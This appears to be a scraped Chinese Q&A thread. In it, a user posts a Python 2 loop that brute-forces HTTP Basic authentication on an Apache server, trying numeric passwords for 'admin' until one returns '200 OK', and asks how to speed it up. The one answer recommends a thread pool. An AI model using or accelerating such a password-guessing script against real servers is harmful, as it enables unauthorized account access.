Question

我希望对Apache授权使用快速强力测试，而不使用urllib或socket lib编码。但是，connect（）是一个非常慢的任务（400 / m）。

重复使用connect（）函数时，如何提高效率（没有多进程方法;仅在代码级别）？

for num in xrange(1,10000):
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((ip,port))
    s.send("HEAD /test.php\nAuthorization: Basic "+b64encode("admin:"+str(num))+"\n\n")
    if '200 OK' in(s.recv(32)) :     
        print 'got password !',str(num)
    s.close()

Answer 1

您可以使用线程池。查看multiprocessing.pool.ThreadPool包。您可以创建一个大小为N的池，然后在for循环中使用imap_unordered（）来连接，发送和接收每个线程。

您还可以将multiprocessing.pool.Pool用于进程池（而不是线程），但听起来这将是I / O绑定，因此ThreadPool会更好，恕我直言。

例如：

from multiprocessing.pool import ThreadPool as Pool
import random
import time

def do_something(x):
    delay = random.randint(1,3)
    time.sleep(delay)
    return x,delay

for i, result in pool.imap_unordered(do_something, range(10)):
    print i, result

重复使用connect（）时如何提高效率？

1 个答案: